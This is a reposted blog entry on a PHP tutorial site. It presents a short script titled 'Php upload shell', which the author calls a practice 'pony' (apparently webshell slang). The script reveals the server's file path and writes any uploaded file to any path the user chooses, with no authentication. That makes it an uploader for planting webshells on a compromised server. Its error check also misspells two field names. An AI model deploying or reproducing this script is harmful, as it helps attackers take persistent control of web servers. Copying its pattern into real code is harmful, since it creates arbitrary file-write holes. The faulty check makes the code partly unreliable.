PHP file upload script_PHP tutorial
Jul 13, 2016 pm 05:46 PM
I was learning PHP recently and saw the file uploading part, so I simply wrote a PHP file uploading script. It can be said to be a pony, with no technical content, just for practice~
01 <html>
02 <head>
03 <title>Php upload shell</title>
04 </head>
05 <body>
06
07 Path:<?php echo $_SERVER['SCRIPT_FILENAME'];?><br />
08
09 <form enctype="multipart/form-data" action="" method="post">
10
11 Please fill in the path of the upload and the filename:<input type="text" name="choose" size="50" /><br /><br />
12
13 Please choose the uploaded files:<input type="file" name="upfile" size="40" /> <input type="submit" value="Uploaded files" />
14
15 </form>
16
17 <?php
18
19 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$_POST['choose']))
20 {
21 echo "The file upload successful";
22 }
23 else
24 {
25 if($_FILES['upfiles']['erro'] != 0 )
26 echo "The file upload failed, you can try other folder.";
27 }
28
29 ?>
30 <br /><br /><br /><br />
31 Code by Str1ven<br />
32 Email:str1ven@foxmail.com
33 </body>
34 </html>
Excerpted from: Str1ven's Blog

Hot Article

Hot tools Tags

Hot Article

Hot Article Tags

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian

How To Set Up Visual Studio Code (VS Code) for PHP Development
